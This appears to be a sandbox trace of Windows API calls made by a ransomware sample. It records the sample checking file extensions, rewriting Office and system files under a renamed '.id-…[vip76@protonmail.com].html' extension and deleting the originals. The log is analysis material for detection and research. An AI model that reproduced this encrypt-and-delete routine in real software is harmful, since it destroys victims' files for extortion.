	[0168.218] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c
	[0168.219] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=392) returned 1
	[0168.219] CloseHandle (hObject=0x46c) returned 1
	[0168.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20
	[0168.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0168.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0168.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0168.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0168.219] lstrlenW (lpString=".doc") returned 4
	[0168.219] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0168.219] lstrlenW (lpString=".docx") returned 5
	[0168.219] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0168.219] lstrlenW (lpString=".pdf") returned 4
	[0168.219] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0168.219] lstrlenW (lpString=".xls") returned 4
	[0168.219] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0168.219] lstrlenW (lpString=".xlsx") returned 5
	[0168.219] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0168.219] lstrlenW (lpString=".ppt") returned 4
	[0168.219] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0168.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0168.220] lstrlenW (lpString=".zip") returned 4
	[0168.220] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0168.220] lstrlenW (lpString=".rar") returned 4
	[0168.220] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0168.220] lstrlenW (lpString=".bz2") returned 4
	[0168.220] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0168.220] lstrlenW (lpString=".7z") returned 3
	[0168.220] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0168.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 83
	[0168.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0168.235] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x44378b8, Size=0x2000) returned 0x44378b8
	[0168.235] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0170.474] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4796) returned 1
	[0170.474] CloseHandle (hObject=0x51c) returned 1
	[0170.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220
	[0170.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.475] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.475] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0170.476] GetLastError () returned 0x0
	[0170.476] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x12bc, lpOverlapped=0x0) returned 1
	[0170.493] WriteFile (in: hFile=0x4dc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x12c0, lpOverlapped=0x0) returned 1
	[0170.494] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.494] WriteFile (in: hFile=0x4dc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.494] SetEndOfFile (hFile=0x4dc) returned 1
	[0170.494] CloseHandle (hObject=0x4dc) returned 1
	[0170.494] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.494] SetEndOfFile (hFile=0x51c) returned 1
	[0170.497] CloseHandle (hObject=0x51c) returned 1
	[0170.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0170.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0170.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.498] lstrlenW (lpString=".doc") returned 4
	[0170.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString=".docx") returned 5
	[0170.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.499] lstrlenW (lpString=".pdf") returned 4
	[0170.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString=".xls") returned 4
	[0170.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.499] lstrlenW (lpString=".xlsx") returned 5
	[0170.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.499] lstrlenW (lpString=".ppt") returned 4
	[0170.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString=".zip") returned 4
	[0170.499] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.499] lstrlenW (lpString=".rar") returned 4
	[0170.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString=".bz2") returned 4
	[0170.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString=".7z") returned 3
	[0170.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString=".dbf") returned 4
	[0170.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString=".1cd") returned 4
	[0170.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString=".jpg") returned 4
	[0170.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.499] lstrlenW (lpString=".doc") returned 4
	[0170.500] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString=".docx") returned 5
	[0170.500] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0170.500] lstrlenW (lpString=".pdf") returned 4
	[0170.500] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString=".xls") returned 4
	[0170.500] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.500] lstrlenW (lpString=".xlsx") returned 5
	[0170.500] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0170.500] lstrlenW (lpString=".ppt") returned 4
	[0170.500] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.500] lstrlenW (lpString=".zip") returned 4
	[0170.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.500] lstrlenW (lpString=".rar") returned 4
	[0170.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString=".bz2") returned 4
	[0170.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString=".7z") returned 3
	[0170.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.500] lstrlenW (lpString=".dbf") returned 4
	[0170.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.500] lstrlenW (lpString=".1cd") returned 4
	[0170.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 68
	[0170.500] lstrlenW (lpString=".jpg") returned 4
	[0170.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.501] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0170.501] lstrlenW (lpString="FD00586_.WMF") returned 12
	[0170.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.502] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=752) returned 1
	[0170.502] CloseHandle (hObject=0x51c) returned 1
	[0170.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220
	[0170.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0170.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0170.503] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.503] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.503] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0170.503] GetLastError () returned 0x0
	[0170.503] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2f0, lpOverlapped=0x0) returned 1
	[0170.505] WriteFile (in: hFile=0x4dc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x300, lpOverlapped=0x0) returned 1
	[0170.506] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.506] WriteFile (in: hFile=0x4dc, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.506] SetEndOfFile (hFile=0x4dc) returned 1
	[0170.506] CloseHandle (hObject=0x4dc) returned 1
	[0170.506] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.506] SetEndOfFile (hFile=0x51c) returned 1
	[0171.347] CloseHandle (hObject=0x51c) returned 1
	[0171.348] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1
	[0171.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.350] lstrlenW (lpString=".doc") returned 4
	[0171.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.350] lstrlenW (lpString=".docx") returned 5
	[0171.350] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.350] lstrlenW (lpString=".pdf") returned 4
	[0171.350] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.350] lstrlenW (lpString=".xls") returned 4
	[0171.350] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.350] lstrlenW (lpString=".xlsx") returned 5
	[0171.350] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.350] lstrlenW (lpString=".ppt") returned 4
	[0171.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.350] lstrlenW (lpString=".zip") returned 4
	[0171.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.350] lstrlenW (lpString=".rar") returned 4
	[0171.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.350] lstrlenW (lpString=".bz2") returned 4
	[0171.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.350] lstrlenW (lpString=".7z") returned 3
	[0171.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString=".dbf") returned 4
	[0171.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString=".1cd") returned 4
	[0171.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString=".jpg") returned 4
	[0171.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString=".doc") returned 4
	[0171.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString=".docx") returned 5
	[0171.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.351] lstrlenW (lpString=".pdf") returned 4
	[0171.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString=".xls") returned 4
	[0171.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.351] lstrlenW (lpString=".xlsx") returned 5
	[0171.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.351] lstrlenW (lpString=".ppt") returned 4
	[0171.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.351] lstrlenW (lpString=".zip") returned 4
	[0171.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.351] lstrlenW (lpString=".rar") returned 4
	[0171.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.351] lstrlenW (lpString=".bz2") returned 4
	[0171.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.352] lstrlenW (lpString=".7z") returned 3
	[0171.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.352] lstrlenW (lpString=".dbf") returned 4
	[0171.352] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.352] lstrlenW (lpString=".1cd") returned 4
	[0171.352] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68
	[0171.352] lstrlenW (lpString=".jpg") returned 4
	[0171.352] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.352] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.352] lstrlenW (lpString="FD00779_.WMF") returned 12
	[0171.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.353] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=9010) returned 1
	[0171.353] CloseHandle (hObject=0x51c) returned 1
	[0171.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220
	[0171.353] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0171.354] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.354] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0171.354] GetLastError () returned 0x0
	[0171.354] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2332, lpOverlapped=0x0) returned 1
	[0171.356] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2340, lpOverlapped=0x0) returned 1
	[0171.358] ReadFile (in: hFile=0x51c, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.358] WriteFile (in: hFile=0x534, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.358] SetEndOfFile (hFile=0x534) returned 1
	[0171.358] CloseHandle (hObject=0x534) returned 1
	[0171.358] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.358] SetEndOfFile (hFile=0x51c) returned 1
	[0171.361] CloseHandle (hObject=0x51c) returned 1
	[0171.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0171.362] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1
	[0171.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68
	[0171.362] lstrlenW (lpString=".doc") returned 4
	[0171.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.362] lstrlenW (lpString=".docx") returned 5
	[0171.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0171.362] lstrlenW (lpString=".pdf") returned 4
	[0171.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.362] lstrlenW (lpString=".xls") returned 4
	[0171.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.362] lstrlenW (lpString=".xlsx") returned 5
	[0171.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0171.362] lstrlenW (lpString=".ppt") returned 4
